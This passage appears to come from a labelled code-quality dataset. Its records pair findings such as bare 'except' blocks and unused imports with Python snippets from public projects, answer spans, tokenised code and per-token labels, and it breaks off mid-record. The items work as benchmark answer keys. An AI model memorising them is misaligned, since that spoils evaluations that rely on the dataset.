">_", "max", "\\u", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "max", "\\u", "length_", "=_", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "longest_", "=_", "a0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "max", "\\u", "length_", ",_", "longest_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
meraki-analytics/cassiopeia/cassiopeia/type/core/common.py
[ { "content": " def for_id(id_):\n try:\n return Lane.by_id[id_]\n except:\n return None", "metadata": "root.Lane.for_id", "header": "['class', 'Lane', '(', 'enum', '.', 'Enum', ')', ':', '___EOS___']", "index": 212 }, { "content": " def for_id(id_):\n try:\n return Role.by_id[id_]\n except:\n return None", "metadata": "root.Role.for_id", "header": "['class', 'Role', '(', 'enum', '.', 'Enum', ')', ':', '___EOS___']", "index": 233 }, { "content": " def for_id(id_):\n try:\n return Queue.by_id[id_]\n except:\n return None", "metadata": "root.Queue.for_id", "header": "['class', 'Queue', '(', 'enum', '.', 'Enum', ')', ':', '___EOS___']", "index": 290 } ]
[ { "span": "except:", "start_line": 215, "start_column": 8, "end_line": 215, "end_column": 15 }, { "span": "except:", "start_line": 236, "start_column": 8, "end_line": 236, "end_column": 15 }, { "span": "except:", "start_line": 293, "start_column": 8, "end_line": 293, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Lane", "_", "(_", "enum_", "._", "Enum_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "for", "\\u", "id_", "(_", "id\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Lane", "_", "._", "by", "\\u", "id_", "[_", "id\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Role_", "(_", "enum_", "._", "Enum_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "for", "\\u", "id_", "(_", "id\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Role_", "._", "by", "\\u", "id_", "[_", "id\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue_", "(_", "enum_", "._", "Enum_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "for", "\\u", "id_", "(_", "id\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Queue_", "._", "by", "\\u", "id_", "[_", "id\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2 ]
Unused import
billpmurphy/hask/hask/lang/__init__.py
[ { "content": "from typeclasses import Show\nfrom typeclasses import show\nfrom typeclasses import Read\nfrom typeclasses import Eq\nfrom typeclasses import Ord\nfrom typeclasses import Bounded\nfrom lazylist import Enum\nfrom lazylist import succ\nfrom lazylist import pred\nfrom lazylist import fromEnum\nfrom lazylist import enumFrom\nfrom lazylist import enumFromTo\nfrom lazylist import enumFromThen\nfrom lazylist import enumFromThenTo\n\nfrom type_system import typeof\nfrom type_system import is_builtin\nfrom type_system import has_instance\nfrom type_system import nt_to_tuple\nfrom type_system import build_instance\nfrom type_system import Typeclass\nfrom type_system import Hask\nfrom type_system import TypedFunc\nfrom type_system import TypeSignatureError\n\nfrom syntax import undefined\nfrom syntax import caseof\nfrom syntax import m\nfrom syntax import p\nfrom syntax import IncompletePatternError\nfrom syntax import data\nfrom syntax import d\nfrom syntax import deriving\nfrom syntax import H\nfrom syntax import sig\nfrom syntax import t\nfrom syntax import func\nfrom syntax import typify\nfrom syntax import NoGuardMatchException\nfrom syntax import guard\nfrom syntax import c\nfrom syntax import otherwise\nfrom syntax import instance\nfrom syntax import __\nfrom syntax import _t\nfrom syntax import _q\nfrom syntax import _i\n\nfrom lazylist import List\nfrom lazylist import L\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from typeclasses import Show", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 28 }, { "span": "from typeclasses import show", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 28 }, { "span": "from typeclasses import Read", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 28 }, { "span": "from typeclasses import Eq", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 26 }, { "span": "from typeclasses import Ord", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 27 }, { "span": "from typeclasses import Bounded", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 31 }, { "span": "from lazylist import Enum", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 25 }, { "span": "from lazylist import succ", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 25 }, { "span": "from lazylist import pred", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 25 }, { "span": "from lazylist import fromEnum", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 29 }, { "span": "from lazylist import enumFrom", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 29 }, { "span": "from lazylist import enumFromTo", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 31 }, { "span": "from lazylist import enumFromThen", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 33 }, { "span": "from lazylist import enumFromThenTo", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 35 }, { "span": "from type_system import typeof", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 30 }, { "span": "from type_system import is_builtin", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 34 }, { "span": "from type_system import has_instance", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 36 }, { "span": "from type_system import nt_to_tuple", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 35 }, { "span": "from type_system import build_instance", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 38 }, { "span": "from type_system import Typeclass", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 33 }, { "span": "from type_system import Hask", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 28 }, { "span": "from type_system import TypedFunc", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 33 }, { "span": "from type_system import TypeSignatureError", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 42 }, { "span": "from syntax import undefined", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 28 }, { "span": "from syntax import caseof", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 25 }, { "span": "from syntax import m", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 20 }, { "span": "from syntax import p", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 20 }, { "span": "from syntax import IncompletePatternError", "start_line": 29, "start_column": 0, "end_line": 29, "end_column": 41 }, { "span": "from syntax import data", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 23 }, { "span": "from syntax import d", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 20 }, { "span": "from syntax import deriving", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 27 }, { "span": "from syntax import H", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 20 }, { "span": "from syntax import sig", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 22 }, { "span": "from syntax import t", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 20 }, { "span": "from syntax import func", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 23 }, { "span": "from syntax import typify", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 25 }, { "span": "from syntax import NoGuardMatchException", "start_line": 38, "start_column": 0, "end_line": 38, "end_column": 40 }, { "span": "from syntax import guard", "start_line": 39, "start_column": 0, "end_line": 39, "end_column": 24 }, { "span": "from syntax import c", "start_line": 40, "start_column": 0, "end_line": 40, "end_column": 20 }, { "span": "from syntax import otherwise", "start_line": 41, "start_column": 0, "end_line": 41, "end_column": 28 }, { "span": "from syntax import instance", "start_line": 42, "start_column": 0, "end_line": 42, "end_column": 27 }, { "span": "from syntax import _t", "start_line": 44, "start_column": 0, "end_line": 44, "end_column": 21 }, { "span": "from syntax import _q", "start_line": 45, "start_column": 0, "end_line": 45, "end_column": 21 }, { "span": "from syntax import _i", "start_line": 46, "start_column": 0, "end_line": 46, "end_column": 21 }, { "span": "from lazylist import List", "start_line": 48, "start_column": 0, "end_line": 48, "end_column": 25 }, { "span": "from lazylist import L", "start_line": 49, "start_column": 0, "end_line": 49, "end_column": 22 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "typec", "lasse", "s_", "import_", "Show_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "typec", "lasse", "s_", "import_", "show_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "typec", "lasse", "s_", "import_", "Read_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "typec", "lasse", "s_", "import_", "Eq_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "typec", "lasse", "s_", "import_", "Ord", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "typec", "lasse", "s_", "import_", "Bound", "ed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "Enum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "succ_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "pred_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "from", "Enum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "enum", "From_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "enum", "Fro", "m", "To_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "enum", "Fro", "m", "The", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "enum", "Fro", "m", "The", "n", "To_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "typeof", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "is", "\\u", "builtin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "has", "\\u", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "nt", "\\u", "to", "\\u", "tuple_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "build", "\\u", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "Type", "class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "Has", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "Type", "d", "Func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "type", "\\u", "system_", "import_", "Type", "Sign", "ature", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "syntax_", "import_", "undefined", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "case", "of_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "Incomp", "lete", "Pat", "tern", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "deriv", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "H_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "sig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "typ", "ify_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "No", "Guard", "Match", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "guard_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "other", "wise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "\\u", "q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "syntax_", "import_", "\\u", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lazy", "list_", "import_", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lazy", "list_", "import_", "L_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1 ]
Except block handles 'BaseException'
weblabdeusto/weblabdeusto/server/launch/sample/main_machine/main_instance/experiment_gpib/fake_linker.py
[ { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2005 onwards University of Deusto\n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution.\n#\n# This software consists of contributions made by many individuals, \n# listed below:\n#\n# Author: Pablo Orduña <[email protected]>\n# \n\nimport os, sys\n\nif __name__ == '__main__':\n assert len(sys.argv) == 11, \"Linker example: ilink32 -Tpe -c whatever.obj c0x32, whatever.exe, , visa32 import32 cw32 bidsf \\n\\\nGot %s arguments; \\\"%s\\\"\" % ( len(sys.argv), ' '.join(sys.argv) )\n \n # assert sys.argv[0] == 'ilink32' #Not in the fake version\n assert sys.argv[1] == '-Tpe' \n assert sys.argv[2] == '-c'\n assert sys.argv[3][-4:].lower() == '.obj'\n assert sys.argv[4] == 'c0x32,'\n assert sys.argv[5][-5:].lower() == '.exe,'\n assert sys.argv[6] == ','\n assert sys.argv[7] == 'visa32'\n assert sys.argv[8] == 'import32'\n assert sys.argv[9] == 'cw32'\n assert sys.argv[10] =='bidsf'\n \n fname = sys.argv[5][:-1]\n try:\n f = open(fname,'w')\n source_lines = \"\"\n stdout_lines = \"\"\n for i in xrange(50):\n # source_lines += \"content sample line %i\\\\n\" % i\n stdout_lines += \"stdout sample line %i\\\\n\" % i\n source_lines = \"\"\"El nivel del marker -66.389 dBm\nPTO : FREC : VALOR: dBm\n============================================================\n\n 1 : 1950000 : 642 : -66.387634 \n 2 : 1950200 : 643 : -66.359848 \n 3 : 1950400 : 644 : -66.332062 \n 4 : 1950600 : 644 : -66.332062 \n 5 : 1950800 : 644 : -66.332062 \n 6 : 1951000 : 645 : -66.304276 \n 7 : 1951200 : 645 : -66.304276 \n 8 : 1951400 : 644 : -66.332062 \n 9 : 1951600 : 644 : -66.332062 \n 10 : 1951800 : 642 : -66.387634 \n 11 : 1952000 : 642 : -66.387634 \n 12 : 1952200 : 642 : -66.387634 \n 13 : 1952400 : 641 : -66.415421 \n 14 : 1952600 : 640 : -66.443207 \n 15 : 1952800 : 642 : -66.387634 \n 16 : 1953000 : 642 : -66.387634 \n 17 : 1953200 : 643 : -66.359848 \n 18 : 1953400 : 642 : -66.387634 \n 19 : 1953600 : 643 : -66.359848 \n 20 : 1953800 : 641 : -66.415421 \n 21 : 1954000 : 641 : -66.415421 \n 22 : 1954200 : 642 : -66.387634 \n 23 : 1954400 : 644 : -66.332062 \n 24 : 1954600 : 644 : -66.332062 \n 25 : 1954800 : 642 : -66.387634 \n 26 : 1955000 : 641 : -66.415421 \n 27 : 1955200 : 642 : -66.387634 \n 28 : 1955400 : 645 : -66.304276 \n 29 : 1955600 : 643 : -66.359848 \n 30 : 1955800 : 644 : -66.332062 \n 31 : 1956000 : 645 : -66.304276 \n 32 : 1956200 : 644 : -66.332062 \n 33 : 1956400 : 640 : -66.443207 \n 34 : 1956600 : 641 : -66.415421 \n 35 : 1956800 : 640 : -66.443207 \n 36 : 1957000 : 640 : -66.443207 \n 37 : 1957200 : 640 : -66.443207 \n 38 : 1957400 : 640 : -66.443207 \n 39 : 1957600 : 642 : -66.387634 \n 40 : 1957800 : 641 : -66.415421 \n 41 : 1958000 : 641 : -66.415421 \n 42 : 1958200 : 641 : -66.415421 \n 43 : 1958400 : 644 : -66.332062 \n 44 : 1958600 : 642 : -66.387634 \n 45 : 1958800 : 644 : -66.332062 \n 46 : 1959000 : 644 : -66.332062 \n 47 : 1959200 : 642 : -66.387634 \n 48 : 1959400 : 642 : -66.387634 \n 49 : 1959600 : 640 : -66.443207 \n 50 : 1959800 : 643 : -66.359848 \n 51 : 1960000 : 645 : -66.304276 \n 52 : 1960200 : 643 : -66.359848 \n 53 : 1960400 : 642 : -66.387634 \n 54 : 1960600 : 642 : -66.387634 \n 55 : 1960800 : 644 : -66.332062 \n 56 : 1961000 : 644 : -66.332062 \n 57 : 1961200 : 642 : -66.387634 \n 58 : 1961400 : 641 : -66.415421 \n 59 : 1961600 : 640 : -66.443207 \n 60 : 1961800 : 640 : -66.443207 \n 61 : 1962000 : 640 : -66.443207 \n 62 : 1962200 : 640 : -66.443207 \n 63 : 1962400 : 640 : -66.443207 \n 64 : 1962600 : 640 : -66.443207 \n 65 : 1962800 : 644 : -66.332062 \n 66 : 1963000 : 640 : -66.443207 \n 67 : 1963200 : 640 : -66.443207 \n 68 : 1963400 : 641 : -66.415421 \n 69 : 1963600 : 642 : -66.387634 \n 70 : 1963800 : 640 : -66.443207 \n 71 : 1964000 : 641 : -66.415421 \n 72 : 1964200 : 641 : -66.415421 \n 73 : 1964400 : 641 : -66.415421 \n 74 : 1964600 : 641 : -66.415421 \n 75 : 1964800 : 640 : -66.443207 \n 76 : 1965000 : 640 : -66.443207 \n 77 : 1965200 : 641 : -66.415421 \n 78 : 1965400 : 640 : -66.443207 \n 79 : 1965600 : 641 : -66.415421 \n 80 : 1965800 : 641 : -66.415421 \n 81 : 1966000 : 641 : -66.415421 \n 82 : 1966200 : 641 : -66.415421 \n 83 : 1966400 : 640 : -66.443207 \n 84 : 1966600 : 642 : -66.387634 \n 85 : 1966800 : 642 : -66.387634 \n 86 : 1967000 : 640 : -66.443207 \n 87 : 1967200 : 640 : -66.443207 \n 88 : 1967400 : 641 : -66.415421 \n 89 : 1967600 : 641 : -66.415421 \n 90 : 1967800 : 641 : -66.415421 \n 91 : 1968000 : 641 : -66.415421 \n 92 : 1968200 : 640 : -66.443207 \n 93 : 1968400 : 641 : -66.415421 \n 94 : 1968600 : 642 : -66.387634 \n 95 : 1968800 : 642 : -66.387634 \n 96 : 1969000 : 640 : -66.443207 \n 97 : 1969200 : 640 : -66.443207 \n 98 : 1969400 : 641 : -66.415421 \n 99 : 1969600 : 644 : -66.332062 \n100 : 1969800 : 644 : -66.332062 \n101 : 1970000 : 644 : -66.332062 \n102 : 1970200 : 644 : -66.332062 \n103 : 1970400 : 641 : -66.415421 \n104 : 1970600 : 640 : -66.443207 \n105 : 1970800 : 643 : -66.359848 \n106 : 1971000 : 643 : -66.359848 \n107 : 1971200 : 641 : -66.415421 \n108 : 1971400 : 640 : -66.443207 \n109 : 1971600 : 641 : -66.415421 \n110 : 1971800 : 641 : -66.415421 \n111 : 1972000 : 640 : -66.443207 \n112 : 1972200 : 641 : -66.415421 \n113 : 1972400 : 640 : -66.443207 \n114 : 1972600 : 642 : -66.387634 \n115 : 1972800 : 641 : -66.415421 \n116 : 1973000 : 640 : -66.443207 \n117 : 1973200 : 640 : -66.443207 \n118 : 1973400 : 642 : -66.387634 \n119 : 1973600 : 641 : -66.415421 \n120 : 1973800 : 640 : -66.443207 \n121 : 1974000 : 640 : -66.443207 \n122 : 1974200 : 642 : -66.387634 \n123 : 1974400 : 642 : -66.387634 \n124 : 1974600 : 640 : -66.443207 \n125 : 1974800 : 641 : -66.415421 \n126 : 1975000 : 640 : -66.443207 \n127 : 1975200 : 640 : -66.443207 \n128 : 1975400 : 641 : -66.415421 \n129 : 1975600 : 642 : -66.387634 \n130 : 1975800 : 641 : -66.415421 \n131 : 1976000 : 640 : -66.443207 \n132 : 1976200 : 643 : -66.359848 \n133 : 1976400 : 641 : -66.415421 \n134 : 1976600 : 641 : -66.415421 \n135 : 1976800 : 641 : -66.415421 \n136 : 1977000 : 642 : -66.387634 \n137 : 1977200 : 643 : -66.359848 \n138 : 1977400 : 642 : -66.387634 \n139 : 1977600 : 642 : -66.387634 \n140 : 1977800 : 640 : -66.443207 \n141 : 1978000 : 640 : -66.443207 \n142 : 1978200 : 640 : -66.443207 \n143 : 1978400 : 640 : -66.443207 \n144 : 1978600 : 641 : -66.415421 \n145 : 1978800 : 643 : -66.359848 \n146 : 1979000 : 642 : -66.387634 \n147 : 1979200 : 642 : -66.387634 \n148 : 1979400 : 642 : -66.387634 \n149 : 1979600 : 641 : -66.415421 \n150 : 1979800 : 642 : -66.387634 \n151 : 1980000 : 642 : -66.387634 \n152 : 1980200 : 644 : -66.332062 \n153 : 1980400 : 642 : -66.387634 \n154 : 1980600 : 641 : -66.415421 \n155 : 1980800 : 640 : -66.443207 \n156 : 1981000 : 640 : -66.443207 \n157 : 1981200 : 643 : -66.359848 \n158 : 1981400 : 643 : -66.359848 \n159 : 1981600 : 642 : -66.387634 \n160 : 1981800 : 640 : -66.443207 \n161 : 1982000 : 640 : -66.443207 \n162 : 1982200 : 640 : -66.443207 \n163 : 1982400 : 641 : -66.415421 \n164 : 1982600 : 642 : -66.387634 \n165 : 1982800 : 640 : -66.443207 \n166 : 1983000 : 642 : -66.387634 \n167 : 1983200 : 642 : -66.387634 \n168 : 1983400 : 640 : -66.443207 \n169 : 1983600 : 640 : -66.443207 \n170 : 1983800 : 640 : -66.443207 \n171 : 1984000 : 640 : -66.443207 \n172 : 1984200 : 640 : -66.443207 \n173 : 1984400 : 640 : -66.443207 \n174 : 1984600 : 640 : -66.443207 \n175 : 1984800 : 642 : -66.387634 \n176 : 1985000 : 640 : -66.443207 \n177 : 1985200 : 640 : -66.443207 \n178 : 1985400 : 641 : -66.415421 \n179 : 1985600 : 644 : -66.332062 \n180 : 1985800 : 645 : -66.304276 \n181 : 1986000 : 642 : -66.387634 \n182 : 1986200 : 644 : -66.332062 \n183 : 1986400 : 644 : -66.332062 \n184 : 1986600 : 645 : -66.304276 \n185 : 1986800 : 641 : -66.415421 \n186 : 1987000 : 642 : -66.387634 \n187 : 1987200 : 642 : -66.387634 \n188 : 1987400 : 641 : -66.415421 \n189 : 1987600 : 640 : -66.443207 \n190 : 1987800 : 640 : -66.443207 \n191 : 1988000 : 640 : -66.443207 \n192 : 1988200 : 640 : -66.443207 \n193 : 1988400 : 642 : -66.387634 \n194 : 1988600 : 642 : -66.387634 \n195 : 1988800 : 640 : -66.443207 \n196 : 1989000 : 641 : -66.415421 \n197 : 1989200 : 640 : -66.443207 \n198 : 1989400 : 640 : -66.443207 \n199 : 1989600 : 641 : -66.415421 \n200 : 1989800 : 643 : -66.359848 \n201 : 1990000 : 645 : -66.304276 \n202 : 1990200 : 645 : -66.304276 \n203 : 1990400 : 641 : -66.415421 \n204 : 1990600 : 641 : -66.415421 \n205 : 1990800 : 642 : -66.387634 \n206 : 1991000 : 641 : -66.415421 \n207 : 1991200 : 640 : -66.443207 \n208 : 1991400 : 642 : -66.387634 \n209 : 